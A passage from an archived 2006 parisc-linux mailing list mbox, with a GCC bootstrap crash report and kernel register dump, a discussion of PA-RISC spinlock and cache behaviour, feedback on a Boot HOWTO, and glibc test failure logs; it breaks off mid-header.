m' 'OBJDUMP=objdump' 'RANLIB=ranlib' 'STRIP=strip' 'WINDRES=windres' CC="${CC}"
CC_FOR_BUILD="${CC_FOR_BUILD}" STAGE_PREFIX=$r/prev-gcc/ CFLAGS="-g -O2" LIBCFLA
GS="-g -O2" LDFLAGS="" "`echo 'ADAFLAGS=' | sed -e s'/[^=][^=]*=$/XFOO=/'`" "GCC
_FOR_TARGET= $r/./gcc/xgcc -B$r/./gcc/ -B/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-l
inux/bin/ -B/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/lib/ -isystem /home/dave
/opt/gnu/gcc/gcc-4.2.0/hppa-linux/include -isystem /home/dave/opt/gnu/gcc/gcc-4.
2.0/hppa-linux/sys-include" "`echo 'STMP_FIXPROTO=' | sed -e s'/[^=][^=]*=$/XFOO
=/'`" "`echo 'LIMITS_H_TEST=' | sed -e s'/[^=][^=]*=$/XFOO=/'`" "`echo 'LIBGCC2_
CFLAGS=' | sed -e s'/[^=][^=]*=$/XFOO=/'`" "`echo 'LIBGCC2_DEBUG_CFLAGS=' | sed
-e s'/[^=][^=]*=$/XFOO=/'`" "`echo 'LIBGCC2_INCLUDES=' | sed -e s'/[^=][^=]*=$/X
FOO=/'`" `if [ -f stage_last ]; then echo quickstrap ; else echo all; fi`
make[2]: *** [all-stage2-gcc] Error 139
make[2]: Leaving directory `/home/dave/gcc-4.2/objdir'
make[1]: *** [stage2-bubble] Error 2
make[1]: Leaving directory `/home/dave/gcc-4.2/objdir'
make: *** [bootstrap] Error 2
make: INTERNAL: Exiting with 1 jobserver tokens available; should be 4!
Wed Jun  7 20:19:18 PDT 2006

>>From /var/log/debug:

Jun  7 20:19:18 gsyprf11 kernel: do_page_fault() pid=24262 command='make' type=1
5 address=0x1118498f
Jun  7 20:19:18 gsyprf11 kernel: vm_start = 0x00048000, vm_end = 0x00607000
Jun  7 20:19:18 gsyprf11 kernel:
Jun  7 20:19:18 gsyprf11 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Jun  7 20:19:18 gsyprf11 kernel: PSW: 00000000000001000000000000001111 Not taint
ed
Jun  7 20:19:18 gsyprf11 kernel: r00-03  0000000000000000 00000000000476e8 00000
00000029b03 00000000bff07800
Jun  7 20:19:18 gsyprf11 kernel: r04-07  000000000009b268 0000000000000000 00000
0000010fe80 00000000000d8680
Jun  7 20:19:18 gsyprf11 kernel: r08-11  00000000000d8680 0000000000000000 00000
0000010fe80 0000000000000000
Jun  7 20:19:18 gsyprf11 kernel: r12-15  000000000009b1f0 0000000000000000 00000
00000000014 0000000000000000
Jun  7 20:19:18 gsyprf11 kernel: r16-19  0000000000000001 0000000000000001 00000
000000476e8 0000000000000000
Jun  7 20:19:18 gsyprf11 kernel: r20-23  00000000001dfca0 0000000000000000 00000
000c0000003 0000000000000000
Jun  7 20:19:18 gsyprf11 kernel: r24-27  0000000000000001 0000000000000016 00000
000001dfca0 00000000000466e8
Jun  7 20:19:18 gsyprf11 kernel: r28-31  0000000011184943 0000000040000003 00000
00003bd6800 0000000003bd6800
Jun  7 20:19:18 gsyprf11 kernel:
Jun  7 20:19:18 gsyprf11 kernel: IASQ: 0000000003bd6800 0000000003bd6800 IAOQ: 0
000000000029aa3 0000000000029aa7
Jun  7 20:19:18 gsyprf11 kernel:  IIR: 4b930098    ISR: 0000000003bd6800  IOR: 0
00000001118498f
Jun  7 20:19:18 gsyprf11 kernel:  CPU:        1   CR30: 000000001abb0000 CR31: 0
000000000008020
Jun  7 20:19:18 gsyprf11 kernel:  ORIG_R28: 0000000000000000
Jun  7 20:19:18 gsyprf11 kernel:  IAOQ[0]: 0x29aa3
Jun  7 20:19:18 gsyprf11 kernel:  IAOQ[1]: 0x29aa7
Jun  7 20:19:18 gsyprf11 kernel:  RP(r2): 0x29b03

dave@hiauly6:~/opt/gnu/bin$ disasm 0x4b930098
   0:   4b 93 00 98     ldw 4c(ret0),r19

(gdb) disass 0x29a90 0x29ab0
Dump of assembler code from 0x29a90 to 0x29ab0:
0x00029a90 <close_stdout+25828>:        copy ret0,r20
0x00029a94 <close_stdout+25832>:        ldw 48(r20),ret0
0x00029a98 <close_stdout+25836>:        cmpiclr,<> 0,ret0,r0
0x00029a9c <close_stdout+25840>:        copy r20,ret0
0x00029aa0 <close_stdout+25844>:        ldw 4c(ret0),r19

%ret0 is both misaligned and appears outside the VM range for the application.

The backtrace isn't particularly enlightening (need debug version of make).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Wed, 7 Jun 2006 00:09:11 -0400 (EDT)
Lines: 81
Approved: news@gmane.org
Message-ID: <200606070409.k5749BK4009914@hiauly1.hia.nrc.ca>
References: <119aab440606061830peac8e3ah7030b831881e6f76@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624104 19867 80.91.229.3 (22 Nov 2014 02:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jun 2006 04:09:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 07 Jun 2006 06:09:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 281627D6DE;
	Tue,  6 Jun 2006 22:09:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30212-07; Tue, 6 Jun 2006 22:09:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9544D7D6E4;
	Tue,  6 Jun 2006 22:09:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6072A7D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 22:09:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30199-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Jun 2006 22:09:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3DCB67D6D8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 22:09:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5749B4M009916;
	Wed, 7 Jun 2006 00:09:12 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5749BK4009914;
	Wed, 7 Jun 2006 00:09:11 -0400 (EDT)
In-Reply-To: <119aab440606061830peac8e3ah7030b831881e6f76@mail.gmail.com> from
	"Carlos O'Donell" at Jun 6, 2006 09:30:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PCTnIKVLa0Aovr6aejEzPYo3Njh6dI6W
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23735

> > Thoughts?
> 
> You've implemented almost exactly what glibc does for pthreads.
> However, glibc uses nanosleep without any adverse effects.
> Have you tried other syscalls instead of select?

I've also tried nanosleep and sched_yield.  I would say that
nanosleep and select have similar behavior under linux.  I need
a little testing under hpux but I currently have the impression
that the patch with either nanosleep or select works under hpux.

I've had a coupled of failures that seemed to indicate a problem
with nanosleep, but I don't have hard data on this.  Oh, I remember.
These were unkillable java tasks.  strace indicated a nanosleep
call to the kernel that never returned.  I couldn't find a signal
to get rid of the task.  Haven't seen one of these for a few days.
Sometimes they are left over from the libjava testsuite run.

My initial testing with the program from the paper modified to
8 threads seemed to indicate somewhat poorer performance using
sched_yield (don't know why).  I also found that pre-checks
of the lock using "ldw" or trying to create a dirty cache-line
prior to the ldcw didn't help overall performance.  Using stby,e
to the high byte of the lock was definitely detrimental.

I think I can understand the later.  I believe most PA 2.0 machines
are fully coherent (except V class and possibly superdome).  Thus,
the ldcw instruction runs in cache on these machines and specifying
the ",co" completer doesn't matter.  Also, stby,e is just an unnecessary
operation that occurs normally with ldcw if necessary.  There might
be some effect on early PA 1.x machines which don't support executing
ldcw in cache.

There are some subtle cache issues in all this.  I believe that
machines using the PA7200 through to the PA8700 only utilize an
L1 cache, but it has an assist buffer.  It appears using the ",sl"
completer bypasses the L1 cache.  Michael Zick thought using this
to reset the lock and in lock tests was a good idea, but think
it's better to use the L1.  The effect of ",sl" on cacheline states
is rather poorly document.  Michael has looked at some of HP's
patents and a bunch of other papers, but I'm not convinced.  The
PDC_CACHE command may be able to change the coherency state and
write-back/write-through state of the data caches on some machines.

The cache design was changed on the PA8800 and PA8900.  The L1
is now on-chip and there is a large L2.  The cacheline length
also increased from 64 to 128 bytes.  These changes could be
part of the reason linux still doesn't run on these machines.

Some of the papers talk about sharing and false sharing.  These
can potentially cause failure of ldcw (race condition in bus logic?).
It is best is semaphores are cacheline aligned and don't share the line.
Currently, non of the locks used in arch/parisc are cacheline aligned.

Joel ran a test kernel with a patch to align statically allocated
locks.  It might have run a bit longer than average but there was
still a softlockup after a few days.  So, I don't think the lockup
is due to the spinlock design per say, although I could easily
be wrong.  I think it's more likely to be something to do with
interrupt handling.  This is suggested by the stack traces which
often seem to occur in the interrupt return path.

I've looked at the locking in hpux a bit.  As far as I can tell,
the kernel never really spins.  It has code to do pre-arbitration
and keeps track of tasks and priorities.  When a lock is released,
the code calls into suwaiters to see if the lock should be handed
over to another task or released.  When we just spin, we are relying
on the bus arbitration to select a winner.  So, when we have a
highly contended lock, it might be  possible for a cpu to get locked
out for sufficient time to cause a softlockup.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corne Beerse <cbeerse@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] PA-RISC/Linux Boot HOWTO update
Date: Fri, 09 Jun 2006 10:43:47 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <448934C3.9080900@gmail.com>
References: <7d01f9f00606081618q15b2df7fyb00f2925ed0fa2c0@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624105 19871 80.91.229.3 (22 Nov 2014 02:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:45 +0000 (UTC)
To: Thibaut VARENE <T-Bone@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2006 08:44:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 09 Jun 2006 10:44:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 951DE7D73C;
	Fri,  9 Jun 2006 02:44:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24078-01; Fri, 9 Jun 2006 02:44:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A34897D731;
	Fri,  9 Jun 2006 02:43:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E95527D72E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jun 2006 02:43:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23800-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Jun 2006 02:43:52 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.191])
	by free.linux.hp.com (Postfix) with ESMTP id AA4937D728
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jun 2006 02:43:51 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id l23so533031nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 09 Jun 2006 01:43:50 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=CkAUQH6OhArutJok8+lrgnZ2VCuDkFbL7encnpatWqdpNUB/Ba59+7tEHkdr4ZAaa8djysJ50+AsRrPC5coOrL5K6Q2Ngybx8GShoOt3q+eROEgik9Wgb2a8RVsuuL39iEUIchqtrEvK4ZvMbByz72ar6odn+Q8ysx00WkTpg1s=
Original-Received: by 10.49.65.12 with SMTP id s12mr2196025nfk;
	Fri, 09 Jun 2006 01:43:50 -0700 (PDT)
Original-Received: from ?130.78.140.5? ( [193.172.135.148])
	by mx.gmail.com with ESMTP id q28sm3019230nfc.2006.06.09.01.43.47;
	Fri, 09 Jun 2006 01:43:48 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.12) Gecko/20050915
X-Accept-Language: en-us, en
In-Reply-To: <7d01f9f00606081618q15b2df7fyb00f2925ed0fa2c0@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sFDhCXJUbHIyva3NNjQ0J0sqJihyatBG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23736

Thibaut VARENE wrote:

> Hi pa-ckers,
>
> I'm about to release an update to our Boot Howto, but before doing so
> I'd like to get some review from the community, in order to make sure
> I haven't missed the obvious or forgot about something important.
>
> The current howto can be fetched here:
> http://www.pateam.org/archive/tmp/
>
> There's both the PDF (for viewing, though the style will differ a bit
> from other TLDP howtos as I didn't use exactly TLP's DTD) and XML for
> people willing to send patches ;)
>
> I expect to release this sometime next week, so
> feedback/comments/patches welcome!
>

That's a verry nice compilation. I'd like to add some pointers:

The OpenPA Project, that has a very nice overview of old and not so old 
HP hardware: http://www.openpa.net/. I see it as suplemental to your 
chapter 1 on supported hardware: it just contains far more information.

About serial cosoles (your chapter 2.2.2): Add a pointer to make the HP 
9000/712 work on serial console: 
http://www.netbsd.org/Ports/hp700/serialconsole-712.html. Some additions 
to this document: it also includes a way to update the firmware over the 
network, without HP-UX and without a tape-device.

Then there is 
http://www.netbsd.org/Documentation/network/netboot/intro.hp700.html, 
the net-bsd document on network booting and diskless operating. I found 
valuable information there, however I see you have covered most (all) of 
it in your document.

Once your document is finished, it would be nice if you inform 
http://www.openpa.net/ about it so they can set a pointer to your document.


Regards

CBee



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Latest glibc failures.
Date: Fri, 9 Jun 2006 10:57:05 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <119aab440606090757vc2966ear8a4d30c04af17ae2@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624105 19874 80.91.229.3 (22 Nov 2014 02:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:45 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2006 14:57:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 09 Jun 2006 16:57:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94FB07D752;
	Fri,  9 Jun 2006 08:57:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28037-05; Fri, 9 Jun 2006 08:57:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CE7A7D74C;
	Fri,  9 Jun 2006 08:57:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A41337D748
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jun 2006 08:57:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28042-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Jun 2006 08:57:05 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.226])
	by free.linux.hp.com (Postfix) with ESMTP id 97FB67D743
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jun 2006 08:57:05 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so844180wri
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 09 Jun 2006 07:57:05 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=l43+0sFhBBWzL0pnwLwcqaPabYVoUf1DhFq7cfsXRIO+y4xWNrhwIN8qR3H9rRCVcTRgPwXDu5ftdcnnNxyuZYP4514omuTuJv3e5exiJ0XiQkroQisIRNtNu/jUwUsexDzreJDoAssw6JJEa1VEnPm3/XzeEUH0nmwy9XFXIRw=
Original-Received: by 10.54.86.19 with SMTP id j19mr516491wrb;
	Fri, 09 Jun 2006 07:57:05 -0700 (PDT)
Original-Received: by 10.54.128.12 with HTTP; Fri, 9 Jun 2006 07:57:05 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 64e5023df938ff47
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f/a8LAZ1ZDI47rHGdWY2p1txemhmY0F3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23737

Randolph,

Everything for libc-ports is upstream, even fixes for errlist-compat
(new errnos added to the kernel mandated a new symbol).

I'm seeing the funny tst-printfsz failures. Not sure what to make of these.

Cheers,
Carlos.

make[2]: *** [/libc/math/test-float.out] Error 1
make[2]: *** [/libc/math/test-double.out] Error 1
make[2]: *** [/libc/math/test-ifloat.out] Error 1
make[2]: *** [/libc/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/libc/stdio-common/tst-printfsz.out] Error 139
make[2]: *** [/libc/stdio-common/tst-printf.out] Error 1
make[1]: *** [stdio-common/tests] Error 2
make[2]: [/libc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/libc/linuxthreads/tst-clock1.out] Error 1
make[2]: *** [/libc/linuxthreads/tst-attr1.out] Error 1
make[1]: *** [linuxthreads/tests] Error 2
make[2]: *** [/libc/rt/tst-aio9.out] Error 1
make[2]: *** [/libc/rt/tst-aio10.out] Error 1
make[1]: *** [rt/tests] Error 2
make[2]: *** [/libc/elf/tst-pie1.out] Error 139
make[2]: *** [/libc/elf/tst-leaks1-mem] Error 1
make[2]: *** [/libc/elf/order.out] Error 1
make[2]: *** [/libc/elf/nodelete2.out] Error 1
make[2]: *** [/libc/elf/tst-align2.out] Error 1
make[2]: *** [/libc/elf/order2.out] Error 1
make[2]: *** [/libc/elf/tst-audit2.out] Error 139
make[2]: *** [/libc/elf/check-textrel.out] Error 1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sat, 10 Jun 2006 12:41:13 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <200606101241.13801.mszick@morethan.org>
References: <200606070409.k5749BK4009914@hiauly1.hia.nrc.ca>
	<200606070725.43473.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624105 19879 80.91.229.3 (22 Nov 2014 02:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jun 2006 17:41:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 10 Jun 2006 19:41:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5948E7D6CA;
	Sat, 10 Jun 2006 11:41:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11535-06; Sat, 10 Jun 2006 11:41:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B5F87D6CD;
	Sat, 10 Jun 2006 11:41:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F7717D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jun 2006 11:41:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11535-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jun 2006 11:41:24 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 6D7477D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jun 2006 11:41:24 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k5AHfIPO075207
	for <parisc-linux@lists.parisc-linux.org>;
